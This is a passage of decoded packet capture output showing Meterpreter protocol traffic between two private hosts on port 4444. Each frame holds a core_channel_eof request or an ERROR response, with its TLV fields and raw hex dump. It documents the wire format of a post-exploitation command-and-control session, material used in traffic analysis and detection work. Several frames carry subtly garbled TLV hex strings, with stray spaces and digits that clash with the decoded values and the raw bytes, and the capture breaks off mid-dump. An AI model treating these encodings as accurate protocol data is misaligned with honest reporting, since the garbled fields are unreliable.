Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 945, Ack: 482, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002343030393138363335373434353937353... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 34303039313836333537343435393735303337303439353536... [Value] 40091863574459750370495652487277
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c 8c 40 00 80 06 6a 4a c0 a8 01 29 c0 a8   .~..@...jJ...)..
0020  01 2a c6 50 11 5c a3 78 a1 07 2e 7d 14 55 50 18   .*.P.\.x...}.UP.
0030  08 03 02 c1 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 34   el_eof....)....4
0060  30 30 39 31 38 36 33 35 37 34 34 35 39 37 35 30   0091863574459750
0070  33 37 30 34 39 35 36 35 32 34 38 37 32 37 37 00   370495652487277.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     11 181.281307     192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=482 Ack=1031 Win=96
Len=86
Frame 11: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 482, Ack: 1031, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002323435383331393332323231323132313332... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 32343538333139333232323132313332353137383132373731... [Value] 24583193222121325178127158536507
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 63 ea 40 00 40 06 52 ec c0 a8 01 2a c0 a8   .~c.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 14 55 a3 78 a1 5d 50 18   .).\.P.}.U.x.]P.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 32   el_eof....)....2
0060  34 35 38 33 31 39 33 32 32 32 31 32 31 33 32 35   4583193222121325
0070  31 37 38 31 32 37 31 35 38 35 33 36 35 30 37 00   178127158536507.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     12 181.282402     192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=1031 Ack=568 Win=2050
Len=86
Frame 12: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 1031, Ack: 568, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002323435383331393332323231323133323... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 32343538333139333232323132313332353137383132373 1... [Value] 24583193222121325178127158536507
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c b3 40 00 80 06 6a 23 c0 a8 01 29 c0 a8   .~..@...j#...)..
0020  01 2a c6 50 11 5c a3 78 a1 5d 2e 7d 14 ab 50 18   .*.P.\.x.].}..P.
0030  08 02 1b 1d 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 32   el_eof....)....2
0060  34 35 38 33 31 39 33 32 32 32 31 32 31 33 32 35   4583193222121325
0070  31 37 38 31 32 37 31 35 38 35 33 36 35 30 37 00   178127158536507.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     13 241.557455     192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=568 Ack=1117 Win=96
Len=86
Frame 13: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 568, Ack: 1117, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002343237353838313631363636303537 38... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3432373538383136313636363035373839343236393432 32... [Value] 42758816166605789426942241954538
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 63 ec 40 00 40 06 52 ea c0 a8 01 2a c0 a8   .~c.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 14 ab a3 78 a1 b3 50 18   .).\.P.}...x..P.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 34   el_eof....)....4
0060  32 37 35 38 38 31 36 31 36 36 36 30 35 37 38 39   2758816166605789
0070  34 32 36 39 34 32 32 34 31 39 35 34 35 33 38 00   426942241954538.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     14 241.560707     192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=1117 Ack=654 Win=2050
Len=86
Frame 14: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 1117, Ack: 654, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023432373538383136313636363030353738... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 34323735383831363136363630353738393432363934323232... [Value] 4275881616660578942694224195453 8
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c b4 40 00 80 06 6a 22 c0 a8 01 29 c0 a8   .~..@...j"...)..
0020  01 2a c6 50 11 5c a3 78 a1 b3 2e 7d 15 01 50 18   .*.P.\.x...}..P.
0030  08 02 02 65 00 00 00 00 00 56 00 00 00 01 00 00   ...e.....V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 34   el_eof....)....4
0060  32 37 35 38 38 31 36 31 36 36 36 30 35 37 38 39   2758816166605789
0070  34 32 36 39 34 32 32 34 31 39 35 34 35 33 38 00   426942241954538.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     15 301.917881     192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=654 Ack=1203 Win=96
Len=86
Frame 15: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 654, Ack: 1203, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002303931303437393130303035343439373... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 30393130343739313030303534343937383237373934343431... [Value] 09104791000544978277944199957286
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 63 ee 40 00 40 06 52 e8 c0 a8 01 2a c0 a8   .~c.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 15 01 a3 78 a2 09 50 18   .).\.P.}...x..P.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 30   el_eof....)....0
0060  39 31 30 34 37 39 31 30 30 30 35 34 34 39 37 38   9104791000544978
0070  32 37 37 39 34 34 31 39 39 39 35 37 32 38 36 00   277944199957286.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     16 301.918329     192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=1203 Ack=740 Win=2050
Len=86
Frame 16: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 1203, Ack: 740, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002303931303437393130303035343437... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3039313034373931303030353434393737383237373739343431... [Value] 09104791000544978277944199957286
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c b6 40 00 80 06 6a 20 c0 a8 01 29 c0 a8   .~..@...j ...)..
0020  01 2a c6 50 11 5c a3 78 a2 09 2e 7d 15 57 50 18   .*.P.\.x...}.WP.
0030  08 02 0d ad 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 30   el_eof....)....0
0060  39 31 30 34 37 39 31 30 30 30 35 34 34 39 37 38   9104791000544978
0070  32 37 37 39 34 34 31 39 39 39 35 37 32 38 36 00   277944199957286.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     17 362.279755     192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=740 Ack=1289 Win=96
Len=86
Frame 17: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 740, Ack: 1289, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 000000190001000163 6f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000019000100016 36f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023933343235333936363034363731343 33... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 393334323533393636303436373134333035343936383037... [Value] 93425396604671430549680743609028
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 63 f0 40 00 40 06 52 e6 c0 a8 01 2a c0 a8   .~c.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 15 57 a3 78 a2 5f 50 18   .).\.P.}.W.x._P.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 39   el_eof....)....9
0060  33 34 32 35 33 39 36 36 30 34 36 37 31 34 33 30   3425396604671430
0070  35 34 39 36 38 30 37 34 33 36 30 39 30 32 38 00   549680743609028.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     18 362.280244     192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=1289 Ack=826 Win=2049
Len=86
Frame 18: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 1289, Ack: 826, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023933343235333936363034363731343433... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3933343235333936363034363731343330353439363830373... [Value] 93425396604671430549680743609028
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c b7 40 00 80 06 6a 1f c0 a8 01 29 c0 a8   .~..@...j....)..
0020  01 2a c6 50 11 5c a3 78 a2 5f 2e 7d 15 ad 50 18   .*.P.\.x._.}..P.
0030  08 01 12 0b 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 39   el_eof....)....9
0060  33 34 32 35 33 39 36 36 30 34 36 37 31 34 33 30   3425396604671430
0070  35 34 39 36 38 30 37 34 33 36 30 39 30 32 38 00   549680743609028.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     19 422.529225     192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=826 Ack=1375 Win=96
Len=86
Frame 19: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 826, Ack: 1375, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002353339313139393138393737303737323... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3533393131393931383937373037373238363531353338363... [Value] 53911991897707728651538626290142
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 63 f2 40 00 40 06 52 e4 c0 a8 01 2a c0 a8   .~c.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 15 ad a3 78 a2 b5 50 18   .).\.P.}...x..P.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 35   el_eof....)....5
0060  33 39 31 31 39 39 31 38 39 37 37 30 37 37 32 38   3911991897707728
0070  36 35 31 35 33 38 36 32 36 32 39 30 31 34 32 00   651538626290142.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     20 422.530621     192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=1375 Ack=912 Win=2049
Len=86
Frame 20: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 1375, Ack: 912, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002353339313139393138393737303737732... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 353339313139393138393737303737323836353135333836... [Value] 539119918977077286515386262901 42
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c b8 40 00 80 06 6a 1e c0 a8 01 29 c0 a8   .~..@...j....)..
0020  01 2a c6 50 11 5c a3 78 a2 b5 2e 7d 16 03 50 18   .*.P.\.x...}..P.
0030  08 01 08 5e 00 00 00 00 00 56 00 00 00 01 00 00   ...^.....V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 35   el_eof....)....5
0060  33 39 31 31 39 39 31 38 39 37 37 30 37 37 32 38   3911991897707728
0070  36 35 31 35 33 38 36 32 36 32 39 30 31 34 32 00   651538626290142.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     21 482.750133     192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=912 Ack=1461 Win=96
Len=86
Frame 21: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 912, Ack: 1461, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023936323737383832363138383636353836... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 39363237373838323631383836353836373935313330353 4... [Value] 96277882618865867951305437558859
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 63 f4 40 00 40 06 52 e2 c0 a8 01 2a c0 a8   .~c.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 16 03 a3 78 a3 0b 50 18   .).\.P.}...x..P.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 39   el_eof....)....9
0060  36 32 37 37 38 38 32 36 31 38 38 36 35 38 36 37   6277882618865867
0070  39 35 31 33 30 35 34 33 37 35 35 38 38 35 39 00   951305437558859.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     22 482.750720     192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=1461 Ack=998 Win=2049
Len=86
Frame 22: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 1461, Ack: 998, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002393632373738383236313838363538836... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3936323737383832363138383635383637393531333035340... [Value] 96277882618865867951305437558859
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c b9 40 00 80 06 6a 1d c0 a8 01 29 c0 a8   .~..@...j....)..
